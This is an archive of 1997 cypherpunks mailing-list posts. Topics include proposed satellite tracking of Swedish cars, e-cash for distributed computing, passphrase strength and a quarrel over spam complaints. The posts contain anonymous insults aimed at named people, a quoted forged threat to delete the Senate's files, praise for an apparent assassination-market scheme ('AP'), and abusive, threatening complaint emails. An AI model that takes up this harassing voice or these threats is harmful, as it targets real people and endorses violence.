 field to get a copy of my public key
_______________________________________________________________





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "E. Allen Smith" <EALLENSMITH@ocelot.Rutgers.EDU>
Date: Sat, 8 Feb 1997 23:16:05 -0800 (PST)
To: cypherpunks@toad.com
Subject: RRE: Proposed satellite monitoring of car movements in Sweden
Message-ID: <01IF71TUZKSG9AN5VD@mbcl.rutgers.edu>
MIME-Version: 1.0
Content-Type: text/plain


	In reply to Dr. Agre's comment, I'd point out that one
normally has more than one insurance company to choose from...
not the case with governmentally-imposed road taxes.
	-Allen

From:	IN%"rre@weber.ucsd.edu"  9-FEB-1997 02:12:23.32
To:	IN%"rre@weber.ucsd.edu"
CC:	
Subj:	Proposed satellite monitoring of car movements in Sweden

[If it wasn't taxes, it would be insurance.]

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
This message was forwarded through the Red Rock Eater News Service (RRE).
Send any replies to the original author, listed in the From: field below.
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Date: Thu, 6 Feb 1997 19:04:07 -0800 (PST)
From: risks@csl.sri.com
Subject: RISKS DIGEST 18.81

RISKS-LIST: Risks-Forum Digest  Thursday 6 February 1997  Volume 18 : Issue 81

----------------------------------------------------------------------

Date: Wed, 29 Jan 1997 20:39:29 +0100 (MET)
From: Feliks Kluzniak <feliks@carlstedt.se>
Subject: Proposed satellite monitoring of car movements in Sweden

The new issue of "Dagens IT", no. 3, dated 28 Jan - 3 Feb 1997 (a Swedish
paper aimed at information technology professionals), contains an item that
might be of some interest to those RISKS readers who followed discussions
about automatic highway toll booths in the US and related subjects.

My (probably imperfect) translation follows.
   
  Car users will be be put in "feetcuffs"
  (written by Margaretha Sundstroem)
      
With the help of a new satellite system car users might pay different taxes,
depending on when and where they drive.  This is what the State
communications commission is said to be discussing.
      
According to (the newspaper) "Dagens Politik", the State communications
commission is discussing a proposal to use satellites for determining car
taxes in the future.  It is proposed that all of Sweden's 3.5 million cars
should be equipped with a little reader fastened to the instrument board.
Car users would then buy cards that can be inserted into the reader.  The
card would communicate with a satellite that would register where you drive
and for how long.  The car tax would then be withdrawn from the card.
      
The proposal has been put forward by the State institution for communication
analysis.  They estimate that just the Stockholm (tax) authorities would be
able to earn six billion crowns by using this system.
      
The costs for car users would thereby increase.

 - - - - 

The reference to "feetcuffs" (by analogy to "handcuffs" - ankle
shackles?)  is an allusion to radio transmitters that are irremovably
fastened to the ankles of some criminals in this country so that the
authorities can monitor their compliance with the rules of house arrest.

The word "communication" is meant to include car traffic etc.  The word
"billion" is given in its US meaning: a thousand million.

The risks?  Apart from the risks of having very complex systems
automatically determine how much you have to pay, there are the usual
privacy considerations. Some cry out "big brother".  Others say you are
already in this situation if you carry a cellular phone.

Feliks Kluzniak,  Carlstedt Research & Technology, Gothenburg

------------------------------

End of RISKS-FORUM Digest 18.81 
************************

Standard Risks reuse notice:

  Reused without explicit authorization under blanket
  permission granted for all Risks-Forum Digest materials.
  The author(s), the RISKS moderator, and the ACM have no
  connection with this reuse.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Phil Agre <pagre@weber.ucsd.edu>
Date: Sun, 9 Feb 1997 06:34:39 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re:  RRE: Proposed satellite monitoring of car movements in Sweden
Message-ID: <199702091434.GAA02306@weber.ucsd.edu>
MIME-Version: 1.0
Content-Type: text/plain


You have plenty of choice.  If you don't like our country, move somewhere
else.

Phil




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Robert Rothenburg 'Walking-Owl'" <WlkngOwl@unix.asb.com>
Date: Sun, 9 Feb 1997 04:49:53 -0800 (PST)
To: coderpunks@toad.com
Subject: E-cash and distributed computing...
Message-ID: <199702091250.HAA04070@unix.asb.com>
MIME-Version: 1.0
Content-Type: text/plain



This is probably not an original idea, but...

Here's a potential use for E-cash: a server that doles out Java 
apps to clients; the clients run the apps, calculating whatever 
results are needed, and uploads the results in return for E-cash
(perhaps a zero-knowledge proof that the result is accurate? another 
is to use only a trusted pool of registered and accountable users rather
than anonymous clients).

The server admins would be paid by those who need computations,
keeping a percentage and using the rest to be offered as E-cash to 
clients with spare computing power.

A lot of possibilities here... a configuration where a set price is 
offered for a computation (the user can check for the highest offer 
on a server, or refuse an offer below a certain amount).

Or maybe applets would only be doled out to systems that meet a 
certain criteria (minimum computing power).

A more complex system where 'bids' are placed based on computing 
power is possible too (those w/better systems would want more cash, 
or be willing to pay it).

Problem: open to forms of 'abuse' (imagine a sysadmin making 
E-cash using his employer's machines overnight).

It might make an interesting experimental project to work on.

--Rob


-----
"The word to kill ain't dirty     | Robert Rothenburg (WlkngOwl@unix.asb.com)
 I used it in the last line       | http://www.asb.com/usr/wlkngowl/
 but use a short word for lovin'  | Se habla PGP:  Reply with the subject
 and dad you wind up doin' time." | 'send pgp-key' for my public key.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bovine Remailer <haystack@holy.cow.net>
Date: Sun, 9 Feb 1997 05:32:11 -0800 (PST)
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199702091313.IAA16263@holy.cow.net>
MIME-Version: 1.0
Content-Type: text/plain


Timothy C[reep] Mayo's IQ is lower than the belly 
of a pregnant snake.

         ,/         \,
        ((__,-,,,-,__)),
         `--)~   ~(--`
        .-'(       )`-,
        `~~`d\   /b`~~`
            |     |
            (6___6)
             `---`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bovine Remailer <haystack@holy.cow.net>
Date: Sun, 9 Feb 1997 06:01:57 -0800 (PST)
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199702091342.IAA16533@holy.cow.net>
MIME-Version: 1.0
Content-Type: text/plain


NEW ATTACK ON CP LIST


>Date: Sun, 9 Feb 1997 03:55:04 -0500
>From: Linda Thompson <lindat@iquest.net>
>To: robert@iquest.net
>Cc: aen-news@aen.org
>Subject: URGENT
>
>Someone is sending THREATS to the President and Senate and using *MY*
>name
>and account to do it.  One bounced and was sent to me.  You should be
>able
>to find out where it came from by the message I.D.  I think it is
>EXTREMELY
>important that you find out where this came from!!
>
>Also, earlier in the day, I got a message that I was subscribed by
>"majordomo" to cypherpunks.  I did NOT subscribe to cypherpunks and I
>would
>bet that whoever did THAT also sent this message.
>
>Here's the threat message:
>
>Return-Path: <MAILER-DAEMON@fcaglp.fcaglp.unlp.edu.ar>
>Delivered-To: lindat@iquest.net
>Received: (qmail 29848 invoked from network); 9 Feb 1997 02:51:40 -0000
>Received: from fcaglp.fcaglp.unlp.edu.ar (163.10.4.1)
>  by iquest3.iquest.net with SMTP; 9 Feb 1997 02:51:40 -0000
>Received: by fcaglp.fcaglp.unlp.edu.ar
>	(1.38.193.4/16.2) id AI19659; Sat, 8 Feb 1997 23:49:27 -0300
>Message-Id: <9702090249.AI19659@fcaglp.fcaglp.unlp.edu.ar>
>Date: Sat, 8 Feb 1997 05:12:37 -0300
>From: MAILER-DAEMON@fcaglp.fcaglp.unlp.edu.ar (Mail Delivery Subsystem)
>Subject: Returned mail: User unknown
>To: lindat@iquest.net
>X-UIDL: 85c7fe8ecdc2605eb6bc80bfa71b223e
>Status: U
>
>   ----- Transcript of session follows -----
>550 xfAA16374: line 6: vice-president@whitehouse.gov... User unknown
>
>   ----- Unsent message follows -----
>Received: from echotech.com by fcaglp.fcaglp.unlp.edu.ar with SMTP
>	(1.38.193.4/16.2) id AA16374; Sat, 8 Feb 1997 05:12:37 -0300
>Message-Id: <9702080812.AA16374@fcaglp.fcaglp.unlp.edu.ar>
>Date: Sat, 8 Feb 1997 05:12:37 -0300
>From: lindat@iquest.net
>Return-Path: <lindat@iquest.net>
>Cc: Senator_Stevens@stevens.senate.gov, email@murkowski.senate.gov,
>        sessions@wrldnet.net, senator@shelby.senate.gov,
>        senator@bumpers.senate.gov, info@kyl.senate.gov,
>        Senator_McCain@mccain.senate.gov, senator@boxer.senate.gov,
>        senator@feinstein.senate.gov, sen_dodd@dodd.senate.gov,
>        senator_lieberman@lieberman.senate.gov, senator@biden.senate.gov,
>        bob_graham@graham.senate.gov, connie@mack.senate.gov,
>        senator_coverdell@coverdell.senate.gov,
>senator@inouye.senate.gov,
>        tom_harkin@harkin.senate.gov, chuck_grassley@grassley.senate.gov,
>        larry_craig@craig.senate.gov,
>dirk_kempthorne@kempthorne.senate.gov
>Cc: senator@moseley-braun.senate.gov, lugar@iquest.net,
>        wendell_ford@ford.senate.gov, senator@mcconnell.senate.gov,
>        senator@breaux.senate.gov, senator@kennedy.senate.gov,
>        john_kerry@kerry.senate.gov, senator@mikulski.senate.gov,
>        senator@sarbanes.senate.gov, Olympia@snowe.senate.gov,
>        senator@levin.senate.gov, michigan@abraham.senate.gov,
>        mail_grams@grams.senate.gov, senator@wellstone.senate.gov,
>        john_ashcroft@ashcroft.senate.gov, kit_bond@bond.senate.gov,
>        senator@cochran.senate.gov, max@baucus.senate.gov,
>        conrad_burns@burns.senate.gov, senator@faircloth.senate.gov,
>        jesse_helms@helms.senate.gov
>Cc: senator@conrad.senate.gov, senator@dorgan.senate.gov,
>email@hagel96.com,
>        bob@kerrey.senate.gov, mailbox@gregg.senate.gov,
>        opinion@smith.senate.gov, frank_lautenberg@lautenberg.senate.gov,
>        torricel@torricelli.com, Senator_Bingaman@bingaman.senate.gov,
>        senator_domenici@domenici.senate.gov, senator@bryan.senate.gov,
>        senator_reid@reid.senate.gov, senator_al@damato.senate.gov,
>        senator@dpm.senate.gov, senator_dewine@dewine.senate.gov,
>        senator_glenn@glenn.senate.gov, senator@nickles.senate.gov,
>        senator@wyden.senate.gov, senator@santorum.senate.gov,
>        senator_specter@specter.senate.gov,
>senator_chafee@chafee.senate.gov
>Cc: reed@collegehill.com, senator@thurmond.senate.gov,
>        senator@hollings.senate.gov, tom_daschle@daschle.senate.gov,
>        senator_thompson@thompson.senate.gov,
>senator_frist@frist.senate.gov,
>        senator@hutchison.senate.gov, senator@bennett.senate.gov,
>        senator_hatch@hatch.senate.gov, senator_robb@robb.senate.gov,
>        senator@warner.senate.gov, senator_leahy@leahy.senate.gov,
>        vermont@jeffords.senate.gov, senator_murray@murray.senate.gov,
>        Senator_Gorton@gorton.senate.gov,
>russell_feingold@feingold.senate.gov,
>        senator_kohl@kohl.senate.gov, senator_byrd@byrd.senate.gov,
>        senator@rockefeller.senate.gov, mike@enzi.senate.gov,
>        craig@thomas.senate.gov
>Reply-To: lindat@iquest.net
>Return-Receipt-To: lindat@iquest.net
>Comment: Authenticated sender is <lindat@iquest.net>
>Subject: message to USSA Senate
>
>All files on the Senate's computers will be deleted by our
>gang of cypherpunks dedicated to the eradication of your systems.
>
>
>============================================
>
>Here's the message I got from the Cypherpunks list:
>
>Return-Path: <Majordomo-Owner@toad.com>
>Delivered-To: lindat@iquest.net
>Received: (qmail 12722 invoked from network); 8 Feb 1997 20:33:18 -0000
>Received: from toad.com (140.174.2.1)
>  by iquest3.iquest.net with SMTP; 8 Feb 1997 20:33:17 -0000
>Received: (from majordom@localhost) by toad.com (8.7.5/8.7.3) id
>MAA01758;
>Sat, 8 Feb 1997 12:09:56 -0800 (PST)
>Date: Sat, 8 Feb 1997 12:09:56 -0800 (PST)
>Message-Id: <199702082009.MAA01758@toad.com>
>To: lindat@iquest.net
>From: Majordomo@toad.com
>Subject: Your Majordomo request results: subscribe cypherpunks
>Reply-To: Majordomo@toad.com
>X-UIDL: 52470737060e1f8e3e1776eae6a3d6ee
>
>--
>
>Your request of Majordomo was:
>>>>> subscribe cypherpunks
>Succeeded.
>Your request of Majordomo was:
>>>>> 
>Your request of Majordomo was:
>>>>> 
>
>
>
>Kind regards,
>
>Linda Thompson
>
>********************  V  ***************************
>  DEATH TO THE NEW WORLD ORDER 
>***************************************************
>Dr. Linda Thompson
>Attorney at Law
>TERRORISM INTELLIGENCE ANALYST
>Chairman, American Justice Federation
>Internet:  lindat@iquest.net
>
>****************************************************
>       Remember Waco.
>  The Murderers are still free.
>**************************************************** 
>Have you seen this yet?
>
>    http://206.55.8.10/SkyWriter/WacoMuseum








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Sun, 9 Feb 1997 09:13:42 -0800 (PST)
To: Sean Roach <cypherpunks@toad.com
Subject: RE: Fighting the cybercensor
Message-ID: <199702091713.JAA05962@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 09:44 PM 2/5/97 -0800, Sean Roach wrote:
>This time I have opted for a point by point.
>At 07:59 PM 2/5/97 -0800, jim bell wrote:

>>1.  Large numbers of potentially competent and useful people get put into 
>>useless jobs:  "Army, Navy, and Marines, and Air Force" spring to mind.   
>>(Those people who still think military spending is really necessary 
>>obviously haven't read AP.)
>This point I can not argue with, at least not directly.  I do believe that
>the military way is wasteful of resources.

Notice, however, that "pre-AP-theory," there was never any "good" way to 
theorize getting rid of the military:  It always appeared that OUR military 
was needed to protect us against THEIR military.  AP fixes that problem.


> However, this is one area that
>has actually benefitted the lower-income bracket in that it gives them
>"inexpensive" (off-chance of death) access to good training.

"War is good business...Invest your son!"

There's no doubt that militaries look like a good deal to at least some 
fraction of the population.  However, as is usually true, the amount of 
money that could be saved if we didn't have to buy military junk would do 
just as well applied to other products or services.


>>2.  Large amounts of money are spent on military hardware, money which goes 
>>to fund  people who would otherwise develop useful products in the 
>>non-government private sector.
>Three things that promote technological growth, expansion, war, threat of war.
>As for expansion. we really have no where else to go.  As for war and threat
>of war, the computer was invented during a war, atomic energy was harnessed
>during war, the internet was created during threat of war.  Many
>advancements, though not all, come to benefit society later.  For that
>matter, steel was probably invented during a war as well, but I can't prove 
it.

I think that's a somewhat distorted way to look at it.  War drastically 
changes the economics associated with technical developments:  In WWII, 
millions of dollars became available for development of computers due to 
their ability to decrypt codes.  It is by no means surprising that suddenly 
making it 10x more affordable to buy computers (not by reducing their costs, 
but by raising the amount of money provided) would make computers appear to 
be the product of war.  

You may recall estimates (which are frequently re-quoted, BTW)that proposed 
that there would only be a market for (say) 5-10 computers in the world.  
That estimate is frequently cited as an example of how wrong they were, but 
in reality that estimate assumed pricing based on then-current costs, and 
they were probably accurate!  It is the _subsequent_ development of 
transistors which made those original estimates "wrong."


Nuclear power, similarly, was born in a flood of money for the same war.  
Expensive government installations, such as Los Alamos, NM, Hanford 
Washington, and Oak Ridge Tennessee were built for that purpose. Activities 
which would have been highly uneconomical during peacetime were suddenly 
worth doing.

If war makes technical development happen, it is only because of how 
supremely wasteful it is.  Useful things still get done, but they get done 
in a highly uneconomical fashion and _before_ they would normally be done in 
a non-war world.


Jim Bell
jimbell@pacifier.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sun, 9 Feb 1997 09:47:45 -0800 (PST)
To: "E. Allen Smith" <EALLENSMITH@ocelot.Rutgers.EDU>
Subject: Re: MODERATION
In-Reply-To: <01IF6XNGHTCK9AN5VD@mbcl.rutgers.edu>
Message-ID: <32FE0D64.7C6F@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


E. Allen Smith wrote:
> While I ultimately concluded it (or at least the manner of doing it)
> was a bad idea, I am appreciative of the effort. I hope this won't discourage
> you too much from trying out other (hopefully better) ideas.

Great idea, Allen.  The fox only ate *some* of the chickens first
time around, but let's train the fox a little, and then throw him
into the chicken coop for round two.  Like, fer sure.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Sun, 9 Feb 1997 10:21:58 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: No Dimitri?
Message-ID: <199702091821.KAA20567@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain


Dead Vulgar K>rust< Of The Moment's police record is many times
longer than his prick (well, that's not hard).

      o_o
     (   )  Dead Vulgar K>rust< Of The Moment
    ( | | )
    ' " " `






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Brad Dolan <bdolan@USIT.NET>
Date: Sun, 9 Feb 1997 07:34:48 -0800 (PST)
To: Phil Agre <pagre@weber.ucsd.edu>
Subject: Re:  RRE: Proposed satellite monitoring of car movements in Sweden
In-Reply-To: <199702091434.GAA02306@weber.ucsd.edu>
Message-ID: <Pine.GSO.3.95.970209103413.7958C-100000@use.usit.net>
MIME-Version: 1.0
Content-Type: text/plain


"Love it or leave it?"

bd

On Sun, 9 Feb 1997, Phil Agre wrote:

> You have plenty of choice.  If you don't like our country, move somewhere
> else.
> 
> Phil
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Internaut <unde0275@frank.mtsu.edu>
Date: Sun, 9 Feb 1997 08:40:18 -0800 (PST)
To: "'cypherpunks@toad.com>
Subject: Passphrase generation
Message-ID: <01BC1675.656788C0@s17-pm04.tnstate.campus.mci.net>
MIME-Version: 1.0
Content-Type: text/plain


Hi,
I am wanting to learn how to generate a passphrase that is at least as 
strong as the IDEA algorithm.  I have looked several other places on the 
web for an answer to this, but they all had different things to say that 
didn't add up (no pun intended :).
The IDEA algorithm it seems is 2^128 =  3.402823669209e+38 = 16 bytes 
(charactors).
The charactor count seems kinda small (I am presuming the 16 charactors are 
truely random).
Indeed, 128(ASCII charactor set)^16 =  5.192296858535e+33.
Is my thinking right here?
Is it better to do this- 94(printable ASCII set)^20 =  2.901062411315e+39, 
yielding 20 charactors?

Also, if you come up with a phrase and put enough (perhaps 5 or 6) ASCII 
nonsense in there for it not to be in any crack dictionaries, how random is 
that?  Is it only as random as the extra charactors you put in?  How would 
you calculate that?

Also, how many charactors do you have to add of a set to add its 
permulations (i.e. Does gibber&sh add all ASCII symbols to the equation)?

Thanks, Internaut





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 9 Feb 1997 08:20:11 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: On "spammers" and "anti-spammers"
In-Reply-To: <JL9u2D1w165w@bwalk.dm.com>
Message-ID: <L19u2D3w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Path: perun!dlv
From: dlv@bwalk.dm.com (Dr. Dimitri Vulis)
Newsgroups: news.admin.net-abuse.misc,news.admin.net-abuse.e-mail,news.groups,news.admin.misc,news.admin.censorship,alt.fan.karl-malden.nose,soc.culture.russian
Subject: On "spammers" and "anti-spammers"
Message-ID: <JL9u2D1w165w@bwalk.dm.com>
Date: Sun, 09 Feb 97 10:52:06 EST
Organization: Death Camp #6

Several days ago one Robert Hicks, DM Group, Direct Marketing Management, 2774
National Pkwy, Brunswick, Ohio, retained one Thomas Gallman, Telysis
Communications Ltd, to do a mass e-mail for them. Unfortunately, Telesys made
a small typo when sending out their mass e-mail. DM Group's domain address is
"dm1.com" and our domain address is "dm.com" (no digit). That happens a lot,
and not always accidentally. Malcontents like Peter da Silva, Chris Lewis of
BNR.CA, John Gilmore of EFF/Cygnus Support, Ray Arachelian of Earthlink.com,
Sandy Sandfart of C2Net, Peter Vorobieff of LANL.GOV, and other well-known
liars and forgers intentionally forge garbage traffic on the Internet with
their enemies' domain names (including ours) and later complain about their
own forgeries.

I was surprised by Telysis's unintentional error, but I hold no grudge
against them. However as the result of their mass mailing our site has
received hundreds of flames from the self-appointed net.cops, ending up in
mailboxes "postmaster" and "orphan" (sent to a non-existent mailbox
"freeway@dm.com"). Many such flames were also sent to PSI, our upstream site.

I am fairly dissatisfied with the way PSI handled this and other incidents
involving forged traffic made to look like it came from dm.com. Their lines
include "we've been receiving a lot of complaints about you" (and it doesn't
matter whether any complaints are true) and "if you prove that this traffic
did not originate at your site, then we won't hold you responsible" and
"These messages are unwelcome intrusions that violate unwritten rules of the
Internet, and are strongly resented. Please confirm that you are aware of
these complaints and are taking measures to stop this practice."

I also noticed a sharp contrast between the polite letter send out by
dm1.com (who were trying to sell something, I presume; and you don't sell
anything if you're rude to prospective clients) and the obnoxious, obscene,
and threatening responses the net.cops sent to our site. I will quote a
selection of these complaints to illustrate the kind of abuse many ISPs are
subjected to. Please observe that one of the complainers claims to have
received "death threats" from a nonexistent account at our site, several
others claim to have received such junk e-mail from our site before, etc.

If your e-mail to dm.com is quoted below, please consider the following:
If someone sends you junk e-mail, it does not make it OK to send abusive
and threatening e-mail to (what you believe to be) the spammer's ISP.
Please try to use better manners, even when you deal with behavior that
you consider to be rude.

==========================================================================
Received: from localhost (vinylot@localhost) by panix.com (8.8.5/8.7/PanixU1.3) with SMTP id PAA18512; Thu, 6 Feb 1997 15:19:07 -0500 (EST)
Date: Thu, 6 Feb 1997 15:19:07 -0500 (EST)
From: Vinylot <vinylot@panix.com>
To: freeway@dm.com
Cc: vinylot@panix.com, postmaster@dm.com
Subject: DEATH THREAT
In-Reply-To: <B0000010411@telysis3.telysis.com>
Message-Id: <Pine.SUN.3.94.970206151319.15438E-100000@panix.com>

Hey assholes why dont you configure yer  fuckin spam properly so that when
we try to remove ouselves from the list we don't get even more unwanted
email
you scumbags
==========================================================================
Received: from localhost (vinylot@localhost) by panix.com (8.8.5/8.7/PanixU1.3) with SMTP id VAA23841; Thu, 6 Feb 1997 21:32:23 -0500 (EST)
Date: Thu, 6 Feb 1997 21:32:23 -0500 (EST)
From: Vinylot <vinylot@panix.com>
To: postmaster@bwalk.dm.com, postmaster@dm.com
Cc: vinylot@panix.com
Subject: In re: "Death Threat" *and* "Returned mail (fwd)"
Message-Id: <Pine.SUN.3.94.970206212030.21557A-100000@panix.com>

I see your customer has made themselves unreachable via email, in
addition to sending out extremely annoying spam...
I'm just sending this note to let u know that I *am not* making any death
threats.
Vinylot
==========================================================================
Received: (from semmett@localhost) by adams.patriot.net (8.7.4/8.7.3) id LAA11132; Thu, 6 Feb 1997 11:10:04 -0500
Date: Thu, 6 Feb 1997 11:10:03 -0500 (EST)
From: Steve Emmett <semmett@adams.patriot.net>
To: freeway@206.222.107.196, postmaster@telysis.com, abuse@telysis.com
        postmaster@telysis3.telysis.com, abuse@telysis3.telysis.com,
        freeway@dm.com
Cc: Steve Emmett <semmett@adams.patriot.net>
Subject: Re: FREE OFFER !!
In-Reply-To: <Pine.LNX.3.91.970206103706.8729A-100000@adams.patriot.net>
Message-Id: <Pine.LNX.3.91.970206104357.8729B-100000@adams.patriot.net>

I just sent you a rejection before realizing that YOU have already
spammed me and I have already given you a previous notice (28 January 1997).

Therefore, since you have SPAMMED me again, you have accepted the terms
of my licencing agreement you previously received from me - to wit, each
subsequent use (including this most recent one) are now subject to a
$1000 per-use fee.

You have failed to provide a valid US Postal Address as required by the
licence.  You will immediately provide the address so that I can send you
a bill.

Violation of this license agreement is cause for civil suit.

You are now on notice to immediately comply with the terms of the
licensing agreement.
==========================================================================
Received: by tfs.com (smail3.1.28.1)
Message-Id: <m0vsYnR-0003vzC@TFS.COM>
Date: Thu, 6 Feb 97 10:43 PST
From: hiha@TFS.COM (Harry Iha)
To: freeway@206.222.107.196, freeway@dm.com
Subject: Re:  FREE OFFER !!
Cc: admin@206.222.107.196, admin@dm.com, admin@dm1.com, hiha@TFS.COM,
        postmaster@206.222.107.196, postmaster@dm.com, postmaster@dm1.com

This is the second instance of this unsolicited, commercial e-mail
I've received.  The first was from Freeway4@dm1.com, the second,
identical message from what appears to be the same user.

Both times, I've responded, as instructed, to be removed from this
user's mailing list.

Please remove me from your current mailing list, and do not include
me in future lists.

Thank you for your cooperation.

hiha@tfs.com
==========================================================================
Received: from bubbas.vnet.net (vts-cat1-s1.vnet.net [166.82.120.221]) by jazzmin.vnet.net (8.7.6/8.7.3) with SMTP id IAA16984; Thu, 6 Feb 1997 08:52:06 -0500 (EST)
Message-Id: <1.5.4.32.19970206134940.0066f5f4@pop.vnet.net>
Date: Thu, 06 Feb 1997 08:49:40 -0500
To: freeway@dm.com, postmaster@dm.com, abuse@dm.com, admin@dm.com
From: Brantley Smith <bubbas@vnet.net>
Subject: FREE OFFER !!/ *GET A LIFE*!!

        Please do something to stop this spammer.  This is the second
message I've recieved from this dude.  The whole message is below.
==========================================================================
Received: from ioceram.jetcity.com (annex01-06.jetcity.com [204.201.228.106]) by jetcity.com (8.7.5/8.7.3) with SMTP id OAA21385; Thu, 6 Feb 1997 14:47:53 -0800
Message-Id: <199702062247.OAA21385@jetcity.com>
Comments: Authenticated sender is <ioceram@[204.201.228.10]>
From: "Bryce Conner" <stars@jetcity.com>
Organization: Procrastinate Later
To: postmaster@206.222.107.196, postmaster@dm.com
Date: Thu, 6 Feb 1997 14:47:43 +0000
Subject: (Fwd) FREE OFFER !!:   I want these mailings to stop immediately
Reply-To: stars@jetcity.com
Cc: bryce@jetcity.com

This user has repeatedly sent me unsolicited advertising, even after
I requested that they stop.   I consider this a clear example of
harrassment and net abuse.

I request that you warn your customer or take the proper
diciplinary action.   This kind of activity (SPAMMING) is extremely
frowned upon by the net in general, and one request to this person
should be enough for them to remove me from their mailing list,
especially since I did not request to be on it in the first place.
Often this will result in the removal of the account in question.

I promised to follow up with this action if they repeated, and so
here it is.

I would apprecate a reply to this email within 1 week.

Sincerely,

Bryce Conner
==========================================================================
Received: (from nuucp@localhost) by gateway.ycrdi.com (8.7.3/8.6.12) id KAA13226; Thu, 6 Feb 1997 10:49:14 -0500 (EST)
From: ralph_muha@ycrdi.com (Ralph Muha)
Reply-To: ralph_muha@ycrdi.com
To: postmaster@dm.com, postmaster@telysis.com
Subject: Fwd: FREE OFFER !!
Date: 06 Feb 1997 15:54:01 GMT
Message-Id: <649199615.3797450@ycrdi.com>
Organization: Young Chang R & D Institute

please keep this crap out of my mailbox!
==========================================================================
Received: from koko (unverified [202.128.5.10]) by www.latte.net
 (EMWAC SMTPRS 0.83) with SMTP id <B0000002260@www.latte.net>;
 Fri, 07 Feb 1997 00:42:38 +1000
Message-Id: <B0000002260@www.latte.net>
Comments: Authenticated sender is <alex@latte.net>
From: "Alex Fields" <alex@latte.net>
Organization: Latte Net Communications
To: postmaster@dm.com
Date: Fri, 7 Feb 1997 00:53:45 +10
Subject: (Fwd) Delivery failure

tell this asshole to take me off his GD list.

thank you.

alex fields
==========================================================================
Received: from nwlink.com (ip061.tu1.nwlink.com [206.129.228.61]) by montana.nwlink.com (8.8.5/8.7.3) with SMTP id IAA02282; Thu, 6 Feb 1997 08:48:39 -0800 (PST)
From: Steve Greenfield <redbeard@nwlink.com>
To: freeway@206.222.107.196, freeway@dm.com, postmaster@dm.com
        postmaster@206.222.107.196, postmaster@dm1.com
Date: Thu, 06 Feb 1997 08:49:10 +0500
Message-Id: <yam6976.511.138150712@mail.nwlink.com>
Organization: Polymorph Digital Photography and Electronics
Subject: Please read and respond

I recieved the following unsolicited Email today. Please take the
appropriate action. I am sick and tired of receiving multiple
"junk" emails every day, despite the fact that my signature always
includes info indicating that I do not welcome them, and in fact
will not do business with anyone who does business this way.

<snipped>

--
Steve Greenfield
redbeard@nwlink.com
If you don't want my business, go ahead and junk Email.
If you never want income from me, go ahead and spam.
==========================================================================
Received: from gabubba.paradise.net (gabubba@adial095.paradise.net [205.216.68.95]) by q.paradise.net (8.7/8.6.12) with SMTP id MAA21198; Thu, 6 Feb 1997 12:18:13 -0500
Message-Id: <2.2.32.19970206171705.006d71c4@paradise.net>
Date: Thu, 06 Feb 1997 12:17:05 -0500
To: postmaster@206.222.107.196, postmaster@dm.com, postmaster@dm1.com
From: Bubba <gabubba@paradise.net>
Subject: Re: FREE OFFER !!

Dear Postmaster,

I received the following unsolicited e-mail, please ensure that this person
no longer sends unsolicited e-mail.  If I receive another message from this
user, I will refer it to the proper autorities for investigation as an
illegl scam.

<snipped>

   Bubba   "bubba69"  or "BearPiss" on IRC, Atlanta, Georgia, USA

   40 year old, big ol' cub's face fuckin', cigar smokin' tattooed
   leather top daddy bear, 6'2", 240#, 38" 501's, blue eyes, furry,
   BUSHY greying beard and 'stache, flags left black, red, and yellow,
   in Atlanta, GA

   If you enjoy bearcodes:  B8 f+ t+ w+  d+ g++ k++

==========================================================================
Received: by ip143.van5.pacifier.com with Microsoft Mail
	id <01BC142A.585245A0@ip143.van5.pacifier.com>; Thu, 6 Feb 1997 12:36:16 -0800
Message-Id: <01BC142A.585245A0@ip143.van5.pacifier.com>
From: Tony Foulke <tonyf@pacifier.com>
To: "'B0000010411@telysis3.telysis.com'"
	 <B0000010411@telysis3.telysis.com>,
        "'freeway@206.222.107.196'"
	 <freeway@206.222.107.196>,
        "'freeway@dm.com'" <freeway@dm.com>
Subject: RE: FREE OFFER !!
Date: Thu, 6 Feb 1997 12:36:11 -0800

This is a formal notice that bulk email is NOT to be sent to
tonyf@pacifier.com  It is not wanted.  Any UCE coming from you or any
clients of yours will be considered harassment.  Not only will a bill for
my service charge of $250 be received by you, but a criminal complaint
will be filed as well.

COMMERCIAL EMAIL IS NOT WANTED AT THIS ACCOUNT OR ANY OTHER ACCOUNT HELD
BY ANTHONY FOULKE.  This is your ONLY notice.

--Anthony Foulke

--
  All unsolicited commercial e-mail coming to this account is subject to a
     service charge of $250 per piece of mail. Sending any UCE to this
             account constitutes acceptance of these terms.
==========================================================================
Received: from localhost (snakeman@localhost) by thecore.com (8.7.1/8.7.1) with SMTP id SAA00892 for <root@dm.com>; Thu, 6 Feb 1997 18:22:58 -0500 (EST)
Date: Thu, 6 Feb 1997 18:22:58 -0500 (EST)
From: snakeman <snakeman@thecore.com>
To: root@dm.com
Subject: FREE OFFER !! (fwd)
Message-Id: <Pine.NEB.3.95.970206181747.503A-100000@guardian.thecore.com>

If you do not wish your mailbox to be flooded with complaints, and,
possibly, unix kernels - please take the appropriate action with
the below user who is spamming mailboxes. Any further posts from that user
